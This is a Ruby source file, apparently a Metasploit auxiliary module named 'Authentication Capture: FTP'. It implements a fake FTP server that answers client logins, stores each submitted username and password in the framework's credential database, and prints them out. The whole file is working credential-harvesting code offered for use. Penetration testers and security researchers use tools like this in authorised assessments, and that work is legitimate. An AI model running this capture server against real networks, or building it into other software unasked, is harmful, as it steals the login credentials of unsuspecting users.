bcoles
124 lines
2.9 KiB
Ruby
124 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::TcpServer
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'Authentication Capture: FTP',
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'Description' => %q{
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This module provides a fake FTP service that
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is designed to capture authentication credentials.
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},
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'Author' => ['ddz', 'hdm'],
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'License' => MSF_LICENSE,
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'Actions' => [
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[ 'Capture', { 'Description' => 'Run FTP capture server' } ]
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],
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'PassiveActions' => [
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'Capture'
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],
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'DefaultAction' => 'Capture',
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [],
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'Reliability' => []
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}
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)
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register_options(
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[
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OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 21 ]),
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OptString.new('BANNER', [ true, 'The server banner', 'FTP Server Ready'])
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]
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)
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end
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def setup
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super
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@state = {}
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end
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def run
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exploit
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end
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def on_client_connect(client)
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@state[client] = { name: "#{client.peerhost}:#{client.peerport}", ip: client.peerhost, port: client.peerport, user: nil, pass: nil }
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client.put "220 #{datastore['BANNER']}\r\n"
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: opts[:service_name],
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user],
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private_data: opts[:password],
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private_type: :password
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}.merge(service_data)
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::UNTRIED,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def on_client_data(client)
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data = client.get_once
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return if !data
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cmd, arg = data.strip.split(/\s+/, 2)
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arg ||= ''
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if (cmd.upcase == 'USER')
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@state[client][:user] = arg
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client.put "331 User name okay, need password...\r\n"
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return
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end
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if (cmd.upcase == 'QUIT')
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client.put "221 Logout\r\n"
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return
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end
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if (cmd.upcase == 'PASS')
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@state[client][:pass] = arg
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report_cred(
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ip: @state[client][:ip],
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port: datastore['SRVPORT'],
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service_name: 'ftp',
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user: @state[client][:user],
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password: @state[client][:pass],
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proof: arg
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)
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print_good("FTP LOGIN #{@state[client][:name]} #{@state[client][:user]} / #{@state[client][:pass]}")
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end
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@state[client][:pass] = data.strip
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client.put "500 Error\r\n"
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return
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end
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def on_client_close(client)
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@state.delete(client)
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end
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end
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